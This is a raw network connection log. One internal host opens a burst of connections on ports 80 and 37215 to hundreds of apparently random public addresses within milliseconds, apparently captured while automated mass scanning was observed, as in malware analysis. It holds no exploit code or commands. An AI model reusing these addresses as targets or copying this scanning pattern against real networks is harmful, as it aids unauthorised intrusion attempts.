Dec 28, 2024 20:41:51.036369085 CET	28662	80	192.168.2.23	100.163.194.68
Dec 28, 2024 20:41:51.036369085 CET	28662	80	192.168.2.23	53.205.149.148
Dec 28, 2024 20:41:51.036369085 CET	28662	80	192.168.2.23	12.171.173.33
Dec 28, 2024 20:41:51.036384106 CET	28662	80	192.168.2.23	198.219.201.207
Dec 28, 2024 20:41:51.036386013 CET	28662	80	192.168.2.23	71.191.93.2
Dec 28, 2024 20:41:51.036395073 CET	28662	80	192.168.2.23	205.104.13.181
Dec 28, 2024 20:41:51.036396027 CET	28662	80	192.168.2.23	177.28.154.153
Dec 28, 2024 20:41:51.036396027 CET	28662	80	192.168.2.23	65.104.196.32
Dec 28, 2024 20:41:51.036396027 CET	28662	80	192.168.2.23	65.43.131.149
Dec 28, 2024 20:41:51.036396027 CET	28662	80	192.168.2.23	87.117.188.12
Dec 28, 2024 20:41:51.036420107 CET	28662	80	192.168.2.23	168.108.52.43
Dec 28, 2024 20:41:51.036420107 CET	28662	80	192.168.2.23	180.162.4.10
Dec 28, 2024 20:41:51.036420107 CET	28662	80	192.168.2.23	43.94.242.45
Dec 28, 2024 20:41:51.036420107 CET	28662	80	192.168.2.23	114.2.185.51
Dec 28, 2024 20:41:51.036421061 CET	28662	80	192.168.2.23	220.17.108.101
Dec 28, 2024 20:41:51.036421061 CET	28662	80	192.168.2.23	131.16.11.20
Dec 28, 2024 20:41:51.036421061 CET	28662	80	192.168.2.23	112.7.8.72
Dec 28, 2024 20:41:51.036432028 CET	28662	80	192.168.2.23	186.195.66.210
Dec 28, 2024 20:41:51.036432028 CET	28662	80	192.168.2.23	110.49.177.242
Dec 28, 2024 20:41:51.036433935 CET	28662	80	192.168.2.23	128.128.184.56
Dec 28, 2024 20:41:51.036433935 CET	28662	80	192.168.2.23	173.254.122.156
Dec 28, 2024 20:41:51.036433935 CET	28662	80	192.168.2.23	104.25.253.113
Dec 28, 2024 20:41:51.036436081 CET	28662	80	192.168.2.23	41.52.181.144
Dec 28, 2024 20:41:51.036437035 CET	28662	80	192.168.2.23	17.101.156.91
Dec 28, 2024 20:41:51.036437035 CET	28662	80	192.168.2.23	139.115.4.46
Dec 28, 2024 20:41:51.036437035 CET	28662	80	192.168.2.23	85.247.236.223
Dec 28, 2024 20:41:51.036438942 CET	28662	80	192.168.2.23	94.48.109.19
Dec 28, 2024 20:41:51.036439896 CET	28662	80	192.168.2.23	121.141.55.120
Dec 28, 2024 20:41:51.036442041 CET	28662	80	192.168.2.23	148.27.53.161
Dec 28, 2024 20:41:51.036442041 CET	28662	80	192.168.2.23	130.156.4.154
Dec 28, 2024 20:41:51.036442041 CET	28662	80	192.168.2.23	62.79.77.223
Dec 28, 2024 20:41:51.036458015 CET	28662	80	192.168.2.23	158.101.152.158
Dec 28, 2024 20:41:51.044300079 CET	28660	37215	192.168.2.23	156.146.0.187
Dec 28, 2024 20:41:51.044301033 CET	28660	37215	192.168.2.23	156.72.243.11
Dec 28, 2024 20:41:51.044327021 CET	28660	37215	192.168.2.23	41.26.1.122
Dec 28, 2024 20:41:51.044327021 CET	28660	37215	192.168.2.23	41.49.168.50
Dec 28, 2024 20:41:51.044327021 CET	28660	37215	192.168.2.23	197.31.205.198
Dec 28, 2024 20:41:51.044327021 CET	28660	37215	192.168.2.23	156.148.252.12
Dec 28, 2024 20:41:51.044328928 CET	28660	37215	192.168.2.23	197.73.174.245
Dec 28, 2024 20:41:51.044329882 CET	28660	37215	192.168.2.23	197.193.76.232
Dec 28, 2024 20:41:51.044331074 CET	28660	37215	192.168.2.23	197.179.169.1
Dec 28, 2024 20:41:51.044329882 CET	28660	37215	192.168.2.23	156.68.148.127
Dec 28, 2024 20:41:51.044332981 CET	28660	37215	192.168.2.23	197.42.59.62
Dec 28, 2024 20:41:51.044361115 CET	28660	37215	192.168.2.23	41.106.62.170
Dec 28, 2024 20:41:51.044361115 CET	28660	37215	192.168.2.23	41.200.3.7
Dec 28, 2024 20:41:51.044363976 CET	28660	37215	192.168.2.23	156.110.29.90
Dec 28, 2024 20:41:51.044363976 CET	28660	37215	192.168.2.23	41.119.135.145
Dec 28, 2024 20:41:51.044365883 CET	28660	37215	192.168.2.23	197.172.126.228
Dec 28, 2024 20:41:51.044365883 CET	28660	37215	192.168.2.23	41.162.2.81
Dec 28, 2024 20:41:51.044378042 CET	28660	37215	192.168.2.23	41.10.241.108
Dec 28, 2024 20:41:51.044382095 CET	28660	37215	192.168.2.23	156.80.129.50
Dec 28, 2024 20:41:51.044384003 CET	28660	37215	192.168.2.23	156.46.95.218
Dec 28, 2024 20:41:51.044393063 CET	28660	37215	192.168.2.23	197.63.57.255
Dec 28, 2024 20:41:51.044390917 CET	28660	37215	192.168.2.23	197.212.157.29
Dec 28, 2024 20:41:51.044394970 CET	28660	37215	192.168.2.23	197.105.88.141
Dec 28, 2024 20:41:51.044394016 CET	28660	37215	192.168.2.23	197.212.26.0
Dec 28, 2024 20:41:51.044400930 CET	28660	37215	192.168.2.23	41.8.185.117
Dec 28, 2024 20:41:51.044404030 CET	28660	37215	192.168.2.23	156.45.250.65
Dec 28, 2024 20:41:51.044404030 CET	28660	37215	192.168.2.23	197.47.119.174
Dec 28, 2024 20:41:51.044404030 CET	28660	37215	192.168.2.23	41.1.29.61
Dec 28, 2024 20:41:51.044406891 CET	28660	37215	192.168.2.23	156.158.236.54
Dec 28, 2024 20:41:51.044406891 CET	28660	37215	192.168.2.23	41.73.54.7
Dec 28, 2024 20:41:51.044415951 CET	28660	37215	192.168.2.23	156.115.218.47
Dec 28, 2024 20:41:51.044419050 CET	28660	37215	192.168.2.23	41.50.24.107
Dec 28, 2024 20:41:51.044425011 CET	28660	37215	192.168.2.23	41.36.63.39
Dec 28, 2024 20:41:51.044425011 CET	28660	37215	192.168.2.23	41.246.82.132
Dec 28, 2024 20:41:51.044425011 CET	28660	37215	192.168.2.23	197.0.60.44
Dec 28, 2024 20:41:51.044425011 CET	28660	37215	192.168.2.23	41.234.80.51
Dec 28, 2024 20:41:51.044441938 CET	28660	37215	192.168.2.23	197.255.163.244
Dec 28, 2024 20:41:51.044442892 CET	28660	37215	192.168.2.23	197.76.124.27
Dec 28, 2024 20:41:51.044441938 CET	28660	37215	192.168.2.23	41.109.87.227
Dec 28, 2024 20:41:51.044442892 CET	28660	37215	192.168.2.23	41.251.19.58
Dec 28, 2024 20:41:51.044445038 CET	28660	37215	192.168.2.23	41.130.108.233
Dec 28, 2024 20:41:51.044447899 CET	28660	37215	192.168.2.23	41.110.89.124
Dec 28, 2024 20:41:51.044451952 CET	28660	37215	192.168.2.23	156.77.116.37
Dec 28, 2024 20:41:51.044459105 CET	28660	37215	192.168.2.23	41.25.113.117
Dec 28, 2024 20:41:51.044464111 CET	28660	37215	192.168.2.23	41.217.91.216
Dec 28, 2024 20:41:51.044476986 CET	28660	37215	192.168.2.23	156.27.182.201
Dec 28, 2024 20:41:51.044488907 CET	28660	37215	192.168.2.23	197.96.229.17
Dec 28, 2024 20:41:51.044496059 CET	28660	37215	192.168.2.23	197.91.205.65
Dec 28, 2024 20:41:51.044496059 CET	28660	37215	192.168.2.23	41.72.137.49
Dec 28, 2024 20:41:51.044502974 CET	28660	37215	192.168.2.23	156.254.91.167
Dec 28, 2024 20:41:51.044507027 CET	28660	37215	192.168.2.23	156.187.37.131
Dec 28, 2024 20:41:51.044507027 CET	28660	37215	192.168.2.23	197.124.6.244
Dec 28, 2024 20:41:51.044507027 CET	28660	37215	192.168.2.23	41.242.102.218
Dec 28, 2024 20:41:51.044507027 CET	28660	37215	192.168.2.23	41.115.37.80
Dec 28, 2024 20:41:51.044528008 CET	28660	37215	192.168.2.23	197.231.41.15
Dec 28, 2024 20:41:51.044529915 CET	28660	37215	192.168.2.23	197.164.231.59
Dec 28, 2024 20:41:51.044529915 CET	28660	37215	192.168.2.23	41.53.144.21
Dec 28, 2024 20:41:51.044531107 CET	28660	37215	192.168.2.23	197.251.240.44
Dec 28, 2024 20:41:51.044529915 CET	28660	37215	192.168.2.23	197.247.239.175
Dec 28, 2024 20:41:51.044534922 CET	28660	37215	192.168.2.23	41.240.157.250
Dec 28, 2024 20:41:51.044534922 CET	28660	37215	192.168.2.23	197.54.2.249
Dec 28, 2024 20:41:51.044536114 CET	28660	37215	192.168.2.23	156.189.95.17
Dec 28, 2024 20:41:51.044536114 CET	28660	37215	192.168.2.23	156.71.183.146
Dec 28, 2024 20:41:51.044545889 CET	28660	37215	192.168.2.23	197.57.135.122
Dec 28, 2024 20:41:51.044545889 CET	28660	37215	192.168.2.23	41.125.253.193
Dec 28, 2024 20:41:51.044547081 CET	28660	37215	192.168.2.23	41.1.118.204
Dec 28, 2024 20:41:51.044549942 CET	28660	37215	192.168.2.23	197.180.177.114
Dec 28, 2024 20:41:51.044553995 CET	28660	37215	192.168.2.23	197.96.58.3
Dec 28, 2024 20:41:51.044553995 CET	28660	37215	192.168.2.23	156.202.255.81
Dec 28, 2024 20:41:51.044559956 CET	28660	37215	192.168.2.23	197.49.236.178
Dec 28, 2024 20:41:51.044570923 CET	28660	37215	192.168.2.23	197.177.210.106
Dec 28, 2024 20:41:51.044570923 CET	28660	37215	192.168.2.23	197.94.119.31
Dec 28, 2024 20:41:51.044570923 CET	28660	37215	192.168.2.23	156.18.79.27
Dec 28, 2024 20:41:51.044572115 CET	28660	37215	192.168.2.23	41.136.3.112
Dec 28, 2024 20:41:51.044583082 CET	28660	37215	192.168.2.23	41.69.173.5
Dec 28, 2024 20:41:51.044595003 CET	28660	37215	192.168.2.23	197.154.232.149
Dec 28, 2024 20:41:51.044600964 CET	28660	37215	192.168.2.23	41.132.28.111
Dec 28, 2024 20:41:51.044600964 CET	28660	37215	192.168.2.23	197.227.137.255
Dec 28, 2024 20:41:51.044605970 CET	28660	37215	192.168.2.23	197.8.196.237
Dec 28, 2024 20:41:51.044615984 CET	28660	37215	192.168.2.23	197.148.214.133
Dec 28, 2024 20:41:51.044616938 CET	28660	37215	192.168.2.23	156.198.97.131
Dec 28, 2024 20:41:51.044616938 CET	28660	37215	192.168.2.23	156.157.96.173
Dec 28, 2024 20:41:51.044621944 CET	28660	37215	192.168.2.23	156.172.42.162
Dec 28, 2024 20:41:51.044622898 CET	28660	37215	192.168.2.23	156.194.96.25
Dec 28, 2024 20:41:51.044622898 CET	28660	37215	192.168.2.23	156.243.29.39
Dec 28, 2024 20:41:51.044636011 CET	28660	37215	192.168.2.23	41.20.196.192
Dec 28, 2024 20:41:51.044636965 CET	28660	37215	192.168.2.23	156.228.157.166
Dec 28, 2024 20:41:51.044636965 CET	28660	37215	192.168.2.23	156.59.248.243
Dec 28, 2024 20:41:51.044636965 CET	28660	37215	192.168.2.23	156.97.147.10
Dec 28, 2024 20:41:51.044640064 CET	28660	37215	192.168.2.23	41.97.27.140
Dec 28, 2024 20:41:51.044636965 CET	28660	37215	192.168.2.23	197.216.200.168
Dec 28, 2024 20:41:51.044636965 CET	28660	37215	192.168.2.23	197.117.236.64
Dec 28, 2024 20:41:51.044637918 CET	28660	37215	192.168.2.23	197.43.240.145
Dec 28, 2024 20:41:51.044650078 CET	28660	37215	192.168.2.23	156.76.206.120
Dec 28, 2024 20:41:51.044655085 CET	28660	37215	192.168.2.23	156.41.229.202
Dec 28, 2024 20:41:51.044652939 CET	28660	37215	192.168.2.23	156.112.155.107
Dec 28, 2024 20:41:51.044652939 CET	28660	37215	192.168.2.23	156.155.68.84
Dec 28, 2024 20:41:51.044657946 CET	28660	37215	192.168.2.23	156.130.229.233
Dec 28, 2024 20:41:51.044670105 CET	28660	37215	192.168.2.23	197.41.134.146
Dec 28, 2024 20:41:51.044671059 CET	28660	37215	192.168.2.23	156.140.162.168
Dec 28, 2024 20:41:51.044675112 CET	28660	37215	192.168.2.23	41.229.114.169
Dec 28, 2024 20:41:51.044687986 CET	28660	37215	192.168.2.23	41.96.181.149
Dec 28, 2024 20:41:51.044687986 CET	28660	37215	192.168.2.23	197.118.176.139
Dec 28, 2024 20:41:51.044693947 CET	28660	37215	192.168.2.23	41.226.211.242
Dec 28, 2024 20:41:51.044693947 CET	28660	37215	192.168.2.23	156.210.49.89
Dec 28, 2024 20:41:51.044698954 CET	28660	37215	192.168.2.23	197.196.57.38
Dec 28, 2024 20:41:51.044699907 CET	28660	37215	192.168.2.23	41.230.66.253
Dec 28, 2024 20:41:51.044703007 CET	28660	37215	192.168.2.23	197.233.177.83
Dec 28, 2024 20:41:51.044707060 CET	28660	37215	192.168.2.23	197.94.102.164
Dec 28, 2024 20:41:51.044708014 CET	28660	37215	192.168.2.23	41.22.60.223
Dec 28, 2024 20:41:51.044708014 CET	28660	37215	192.168.2.23	156.23.3.224
Dec 28, 2024 20:41:51.044708014 CET	28660	37215	192.168.2.23	41.122.178.232
Dec 28, 2024 20:41:51.044708967 CET	28660	37215	192.168.2.23	156.34.49.73
Dec 28, 2024 20:41:51.044708967 CET	28660	37215	192.168.2.23	156.178.160.193
Dec 28, 2024 20:41:51.044720888 CET	28660	37215	192.168.2.23	197.29.79.114
Dec 28, 2024 20:41:51.044722080 CET	28660	37215	192.168.2.23	41.7.48.239
Dec 28, 2024 20:41:51.044722080 CET	28660	37215	192.168.2.23	156.66.18.50
Dec 28, 2024 20:41:51.044722080 CET	28660	37215	192.168.2.23	197.79.236.228
Dec 28, 2024 20:41:51.044723988 CET	28660	37215	192.168.2.23	197.115.59.13
Dec 28, 2024 20:41:51.044730902 CET	28660	37215	192.168.2.23	41.212.71.38
Dec 28, 2024 20:41:51.044730902 CET	28660	37215	192.168.2.23	156.64.243.163
Dec 28, 2024 20:41:51.044732094 CET	28660	37215	192.168.2.23	156.247.244.147
Dec 28, 2024 20:41:51.044732094 CET	28660	37215	192.168.2.23	156.126.244.89
Dec 28, 2024 20:41:51.044738054 CET	28660	37215	192.168.2.23	41.28.34.56
Dec 28, 2024 20:41:51.044743061 CET	28660	37215	192.168.2.23	156.175.146.109
Dec 28, 2024 20:41:51.044754982 CET	28660	37215	192.168.2.23	197.9.251.7
Dec 28, 2024 20:41:51.044755936 CET	28660	37215	192.168.2.23	41.152.142.5
Dec 28, 2024 20:41:51.044756889 CET	28660	37215	192.168.2.23	197.65.252.8
Dec 28, 2024 20:41:51.044758081 CET	28660	37215	192.168.2.23	41.121.118.172
Dec 28, 2024 20:41:51.044761896 CET	28660	37215	192.168.2.23	41.79.24.55
Dec 28, 2024 20:41:51.044761896 CET	28660	37215	192.168.2.23	41.90.55.255
Dec 28, 2024 20:41:51.044764042 CET	28660	37215	192.168.2.23	197.88.95.181
Dec 28, 2024 20:41:51.044773102 CET	28660	37215	192.168.2.23	156.214.163.244
Dec 28, 2024 20:41:51.044773102 CET	28660	37215	192.168.2.23	41.83.220.225
Dec 28, 2024 20:41:51.044773102 CET	28660	37215	192.168.2.23	197.60.195.193
Dec 28, 2024 20:41:51.044775963 CET	28660	37215	192.168.2.23	41.105.155.139
Dec 28, 2024 20:41:51.044778109 CET	28660	37215	192.168.2.23	156.146.44.107
Dec 28, 2024 20:41:51.044783115 CET	28660	37215	192.168.2.23	41.167.219.182
Dec 28, 2024 20:41:51.044783115 CET	28660	37215	192.168.2.23	41.59.183.166
Dec 28, 2024 20:41:51.044785023 CET	28660	37215	192.168.2.23	41.8.129.213
Dec 28, 2024 20:41:51.044786930 CET	28660	37215	192.168.2.23	41.175.169.68
Dec 28, 2024 20:41:51.044795036 CET	28660	37215	192.168.2.23	41.103.9.171
Dec 28, 2024 20:41:51.044795036 CET	28660	37215	192.168.2.23	156.200.163.41
Dec 28, 2024 20:41:51.044800997 CET	28660	37215	192.168.2.23	197.42.124.231
Dec 28, 2024 20:41:51.044806004 CET	28660	37215	192.168.2.23	41.191.183.243
Dec 28, 2024 20:41:51.044821978 CET	28660	37215	192.168.2.23	41.242.126.21
Dec 28, 2024 20:41:51.044821978 CET	28660	37215	192.168.2.23	41.106.103.102
Dec 28, 2024 20:41:51.044821978 CET	28660	37215	192.168.2.23	156.194.87.249
Dec 28, 2024 20:41:51.044821978 CET	28660	37215	192.168.2.23	156.238.12.220
Dec 28, 2024 20:41:51.044821978 CET	28660	37215	192.168.2.23	41.143.84.76
Dec 28, 2024 20:41:51.044821978 CET	28660	37215	192.168.2.23	156.113.19.247
Dec 28, 2024 20:41:51.044821978 CET	28660	37215	192.168.2.23	197.49.126.108
Dec 28, 2024 20:41:51.044831991 CET	28660	37215	192.168.2.23	156.75.220.83
Dec 28, 2024 20:41:51.044831991 CET	28660	37215	192.168.2.23	156.220.30.82
Dec 28, 2024 20:41:51.044836044 CET	28660	37215	192.168.2.23	41.148.15.228
Dec 28, 2024 20:41:51.044836044 CET	28660	37215	192.168.2.23	197.181.104.75
Dec 28, 2024 20:41:51.044840097 CET	28660	37215	192.168.2.23	197.83.249.19
Dec 28, 2024 20:41:51.044840097 CET	28660	37215	192.168.2.23	41.94.168.176
Dec 28, 2024 20:41:51.044856071 CET	28660	37215	192.168.2.23	41.117.156.247
Dec 28, 2024 20:41:51.044856071 CET	28660	37215	192.168.2.23	197.106.249.94
Dec 28, 2024 20:41:51.044858932 CET	28660	37215	192.168.2.23	197.179.246.55
Dec 28, 2024 20:41:51.044862032 CET	28660	37215	192.168.2.23	156.83.68.236
Dec 28, 2024 20:41:51.044873953 CET	28660	37215	192.168.2.23	197.254.179.50
Dec 28, 2024 20:41:51.044873953 CET	28660	37215	192.168.2.23	41.105.97.148
Dec 28, 2024 20:41:51.044878006 CET	28660	37215	192.168.2.23	156.100.190.204
Dec 28, 2024 20:41:51.044878006 CET	28660	37215	192.168.2.23	156.74.63.136
Dec 28, 2024 20:41:51.044878006 CET	28660	37215	192.168.2.23	197.221.136.157
Dec 28, 2024 20:41:51.044878006 CET	28660	37215	192.168.2.23	41.99.159.186
Dec 28, 2024 20:41:51.044886112 CET	28660	37215	192.168.2.23	41.153.82.209
Dec 28, 2024 20:41:51.044886112 CET	28660	37215	192.168.2.23	41.138.130.244
Dec 28, 2024 20:41:51.044887066 CET	28660	37215	192.168.2.23	41.75.44.10
Dec 28, 2024 20:41:51.044899940 CET	28660	37215	192.168.2.23	41.241.245.215
Dec 28, 2024 20:41:51.044899940 CET	28660	37215	192.168.2.23	156.9.36.64
Dec 28, 2024 20:41:51.044902086 CET	28660	37215	192.168.2.23	197.83.86.155
Dec 28, 2024 20:41:51.044902086 CET	28660	37215	192.168.2.23	156.6.157.123
Dec 28, 2024 20:41:51.044907093 CET	28660	37215	192.168.2.23	156.237.17.15
Dec 28, 2024 20:41:51.044907093 CET	28660	37215	192.168.2.23	41.32.136.167
Dec 28, 2024 20:41:51.044908047 CET	28660	37215	192.168.2.23	41.16.233.97
Dec 28, 2024 20:41:51.044913054 CET	28660	37215	192.168.2.23	156.18.158.16
Dec 28, 2024 20:41:51.044914007 CET	28660	37215	192.168.2.23	156.32.202.162
Dec 28, 2024 20:41:51.044914007 CET	28660	37215	192.168.2.23	41.107.225.122
Dec 28, 2024 20:41:51.044919968 CET	28660	37215	192.168.2.23	156.224.205.144
Dec 28, 2024 20:41:51.044924021 CET	28660	37215	192.168.2.23	156.199.182.178
Dec 28, 2024 20:41:51.044924021 CET	28660	37215	192.168.2.23	156.49.252.122
Dec 28, 2024 20:41:51.044935942 CET	28660	37215	192.168.2.23	156.125.192.18
Dec 28, 2024 20:41:51.044938087 CET	28660	37215	192.168.2.23	156.186.201.235
Dec 28, 2024 20:41:51.044938087 CET	28660	37215	192.168.2.23	156.158.115.150
Dec 28, 2024 20:41:51.044938087 CET	28660	37215	192.168.2.23	156.205.116.190
Dec 28, 2024 20:41:51.044939041 CET	28660	37215	192.168.2.23	156.115.142.30
Dec 28, 2024 20:41:51.044939041 CET	28660	37215	192.168.2.23	41.16.31.115
Dec 28, 2024 20:41:51.044941902 CET	28660	37215	192.168.2.23	41.155.167.115
Dec 28, 2024 20:41:51.044941902 CET	28660	37215	192.168.2.23	41.238.253.0
Dec 28, 2024 20:41:51.044941902 CET	28660	37215	192.168.2.23	156.193.106.111
Dec 28, 2024 20:41:51.044941902 CET	28660	37215	192.168.2.23	156.118.249.191
Dec 28, 2024 20:41:51.044941902 CET	28660	37215	192.168.2.23	156.249.181.40
Dec 28, 2024 20:41:51.044955015 CET	28660	37215	192.168.2.23	197.29.127.253
Dec 28, 2024 20:41:51.044965029 CET	28660	37215	192.168.2.23	197.43.191.246
Dec 28, 2024 20:41:51.044965029 CET	28660	37215	192.168.2.23	41.93.164.254
Dec 28, 2024 20:41:51.044965982 CET	28660	37215	192.168.2.23	41.249.27.172
Dec 28, 2024 20:41:51.044965982 CET	28660	37215	192.168.2.23	41.128.51.57
Dec 28, 2024 20:41:51.044965982 CET	28660	37215	192.168.2.23	41.122.184.249
Dec 28, 2024 20:41:51.044971943 CET	28660	37215	192.168.2.23	197.163.24.126
Dec 28, 2024 20:41:51.044971943 CET	28660	37215	192.168.2.23	156.248.16.85
Dec 28, 2024 20:41:51.044971943 CET	28660	37215	192.168.2.23	41.119.19.172
Dec 28, 2024 20:41:51.044989109 CET	28660	37215	192.168.2.23	197.25.254.188
Dec 28, 2024 20:41:51.045000076 CET	28660	37215	192.168.2.23	41.89.23.177
Dec 28, 2024 20:41:51.045000076 CET	28660	37215	192.168.2.23	197.22.49.54
Dec 28, 2024 20:41:51.045000076 CET	28660	37215	192.168.2.23	197.128.66.21
Dec 28, 2024 20:41:51.045000076 CET	28660	37215	192.168.2.23	156.153.0.92
Dec 28, 2024 20:41:51.045006990 CET	28660	37215	192.168.2.23	156.251.140.152
Dec 28, 2024 20:41:51.045006990 CET	28660	37215	192.168.2.23	156.64.247.6
Dec 28, 2024 20:41:51.045006990 CET	28660	37215	192.168.2.23	156.203.170.190
Dec 28, 2024 20:41:51.045010090 CET	28660	37215	192.168.2.23	156.41.167.43
Dec 28, 2024 20:41:51.045026064 CET	28660	37215	192.168.2.23	197.87.158.252
Dec 28, 2024 20:41:51.045026064 CET	28660	37215	192.168.2.23	41.30.134.63
Dec 28, 2024 20:41:51.045026064 CET	28660	37215	192.168.2.23	156.41.246.232
Dec 28, 2024 20:41:51.045027018 CET	28660	37215	192.168.2.23	197.199.247.139
Dec 28, 2024 20:41:51.045030117 CET	28660	37215	192.168.2.23	156.87.241.244
Dec 28, 2024 20:41:51.045048952 CET	28660	37215	192.168.2.23	197.15.177.116
Dec 28, 2024 20:41:51.045053959 CET	28660	37215	192.168.2.23	41.125.7.164
Dec 28, 2024 20:41:51.045053959 CET	28660	37215	192.168.2.23	197.187.151.165
Dec 28, 2024 20:41:51.045054913 CET	28660	37215	192.168.2.23	41.120.68.42
Dec 28, 2024 20:41:51.045056105 CET	28660	37215	192.168.2.23	197.46.25.105
Dec 28, 2024 20:41:51.045056105 CET	28660	37215	192.168.2.23	41.121.147.223
Dec 28, 2024 20:41:51.045056105 CET	28660	37215	192.168.2.23	41.249.204.49
Dec 28, 2024 20:41:51.045058966 CET	28660	37215	192.168.2.23	156.240.161.100
Dec 28, 2024 20:41:51.045063019 CET	28660	37215	192.168.2.23	197.100.213.38
Dec 28, 2024 20:41:51.045063019 CET	28660	37215	192.168.2.23	197.5.42.188
Dec 28, 2024 20:41:51.045063019 CET	28660	37215	192.168.2.23	156.131.213.197
Dec 28, 2024 20:41:51.045080900 CET	28660	37215	192.168.2.23	41.50.69.172
Dec 28, 2024 20:41:51.045082092 CET	28660	37215	192.168.2.23	156.146.93.213
Dec 28, 2024 20:41:51.045083046 CET	28660	37215	192.168.2.23	197.156.203.160
Dec 28, 2024 20:41:51.045082092 CET	28660	37215	192.168.2.23	41.210.131.254
Dec 28, 2024 20:41:51.045087099 CET	28660	37215	192.168.2.23	156.39.254.9
Dec 28, 2024 20:41:51.045087099 CET	28660	37215	192.168.2.23	156.183.121.74
Dec 28, 2024 20:41:51.045087099 CET	28660	37215	192.168.2.23	197.80.168.4
Dec 28, 2024 20:41:51.045092106 CET	28660	37215	192.168.2.23	197.194.214.110
Dec 28, 2024 20:41:51.045092106 CET	28660	37215	192.168.2.23	41.49.208.151
Dec 28, 2024 20:41:51.045094013 CET	28660	37215	192.168.2.23	197.179.175.44
Dec 28, 2024 20:41:51.045097113 CET	28660	37215	192.168.2.23	41.176.12.145
Dec 28, 2024 20:41:51.045097113 CET	28660	37215	192.168.2.23	156.17.34.243
Dec 28, 2024 20:41:51.045104980 CET	28660	37215	192.168.2.23	197.18.211.41
Dec 28, 2024 20:41:51.045104980 CET	28660	37215	192.168.2.23	41.198.100.220
Dec 28, 2024 20:41:51.045120001 CET	28660	37215	192.168.2.23	156.54.98.239
Dec 28, 2024 20:41:51.045121908 CET	28660	37215	192.168.2.23	41.1.187.32
Dec 28, 2024 20:41:51.045121908 CET	28660	37215	192.168.2.23	156.242.53.165
Dec 28, 2024 20:41:51.045125008 CET	28660	37215	192.168.2.23	197.255.182.101
Dec 28, 2024 20:41:51.045125008 CET	28660	37215	192.168.2.23	197.145.114.128
Dec 28, 2024 20:41:51.045125008 CET	28660	37215	192.168.2.23	156.34.64.238
Dec 28, 2024 20:41:51.045125008 CET	28660	37215	192.168.2.23	197.229.110.161
Dec 28, 2024 20:41:51.045129061 CET	28660	37215	192.168.2.23	41.185.251.175
Dec 28, 2024 20:41:51.045140028 CET	28660	37215	192.168.2.23	197.255.209.17
Dec 28, 2024 20:41:51.045146942 CET	28660	37215	192.168.2.23	41.68.254.153
Dec 28, 2024 20:41:51.045160055 CET	28660	37215	192.168.2.23	41.120.6.109
Dec 28, 2024 20:41:51.045160055 CET	28660	37215	192.168.2.23	197.172.37.28
Dec 28, 2024 20:41:51.045161963 CET	28660	37215	192.168.2.23	41.98.197.106
Dec 28, 2024 20:41:51.045160055 CET	28660	37215	192.168.2.23	156.114.38.136
Dec 28, 2024 20:41:51.045161963 CET	28660	37215	192.168.2.23	156.254.85.232
Dec 28, 2024 20:41:51.045164108 CET	28660	37215	192.168.2.23	41.182.107.11
Dec 28, 2024 20:41:51.045165062 CET	28660	37215	192.168.2.23	156.0.251.166
Dec 28, 2024 20:41:51.045165062 CET	28660	37215	192.168.2.23	197.145.2.82
Dec 28, 2024 20:41:51.045165062 CET	28660	37215	192.168.2.23	156.248.126.210
Dec 28, 2024 20:41:51.045165062 CET	28660	37215	192.168.2.23	41.178.247.211
Dec 28, 2024 20:41:51.045170069 CET	28660	37215	192.168.2.23	197.225.12.218
Dec 28, 2024 20:41:51.045170069 CET	28660	37215	192.168.2.23	197.230.11.121
Dec 28, 2024 20:41:51.045175076 CET	28660	37215	192.168.2.23	156.24.127.177
Dec 28, 2024 20:41:51.045175076 CET	28660	37215	192.168.2.23	156.206.227.130
Dec 28, 2024 20:41:51.045192957 CET	28660	37215	192.168.2.23	156.239.3.61
Dec 28, 2024 20:41:51.045192957 CET	28660	37215	192.168.2.23	197.236.213.231
Dec 28, 2024 20:41:51.045198917 CET	28660	37215	192.168.2.23	156.64.169.245
Dec 28, 2024 20:41:51.045200109 CET	28660	37215	192.168.2.23	197.113.110.192
Dec 28, 2024 20:41:51.045200109 CET	28660	37215	192.168.2.23	41.173.147.21
Dec 28, 2024 20:41:51.045198917 CET	28660	37215	192.168.2.23	41.146.24.147
Dec 28, 2024 20:41:51.045202017 CET	28660	37215	192.168.2.23	197.61.183.28
Dec 28, 2024 20:41:51.045203924 CET	28660	37215	192.168.2.23	41.12.182.98
Dec 28, 2024 20:41:51.045203924 CET	28660	37215	192.168.2.23	156.46.242.131
Dec 28, 2024 20:41:51.045212030 CET	28660	37215	192.168.2.23	156.65.136.156
Dec 28, 2024 20:41:51.045214891 CET	28660	37215	192.168.2.23	197.227.101.92
Dec 28, 2024 20:41:51.045214891 CET	28660	37215	192.168.2.23	197.96.156.171
Dec 28, 2024 20:41:51.045214891 CET	28660	37215	192.168.2.23	197.169.58.243
Dec 28, 2024 20:41:51.045216084 CET	28660	37215	192.168.2.23	156.30.39.207
Dec 28, 2024 20:41:51.045222044 CET	28660	37215	192.168.2.23	156.78.108.20
Dec 28, 2024 20:41:51.045222044 CET	28660	37215	192.168.2.23	197.238.54.207
Dec 28, 2024 20:41:51.045232058 CET	28660	37215	192.168.2.23	156.132.22.74
Dec 28, 2024 20:41:51.045236111 CET	28660	37215	192.168.2.23	197.138.161.32
Dec 28, 2024 20:41:51.045236111 CET	28660	37215	192.168.2.23	197.251.56.44
Dec 28, 2024 20:41:51.045236111 CET	28660	37215	192.168.2.23	41.30.21.52
Dec 28, 2024 20:41:51.045236111 CET	28660	37215	192.168.2.23	156.75.187.49
Dec 28, 2024 20:41:51.045236111 CET	28660	37215	192.168.2.23	156.200.252.80
Dec 28, 2024 20:41:51.045238018 CET	28660	37215	192.168.2.23	197.3.149.130
Dec 28, 2024 20:41:51.045237064 CET	28660	37215	192.168.2.23	197.26.118.173
Dec 28, 2024 20:41:51.045238018 CET	28660	37215	192.168.2.23	197.55.71.14
Dec 28, 2024 20:41:51.045238018 CET	28660	37215	192.168.2.23	41.73.63.240
Dec 28, 2024 20:41:51.045237064 CET	28660	37215	192.168.2.23	197.0.240.199
Dec 28, 2024 20:41:51.045238018 CET	28660	37215	192.168.2.23	197.109.222.163
Dec 28, 2024 20:41:51.045237064 CET	28660	37215	192.168.2.23	197.188.184.157
Dec 28, 2024 20:41:51.045242071 CET	28660	37215	192.168.2.23	41.1.23.97
Dec 28, 2024 20:41:51.045243025 CET	28660	37215	192.168.2.23	41.183.217.157
Dec 28, 2024 20:41:51.045243979 CET	28660	37215	192.168.2.23	41.137.170.32
Dec 28, 2024 20:41:51.045263052 CET	28660	37215	192.168.2.23	41.83.100.183
Dec 28, 2024 20:41:51.045265913 CET	28660	37215	192.168.2.23	197.137.7.134
Dec 28, 2024 20:41:51.045265913 CET	28660	37215	192.168.2.23	197.69.131.148
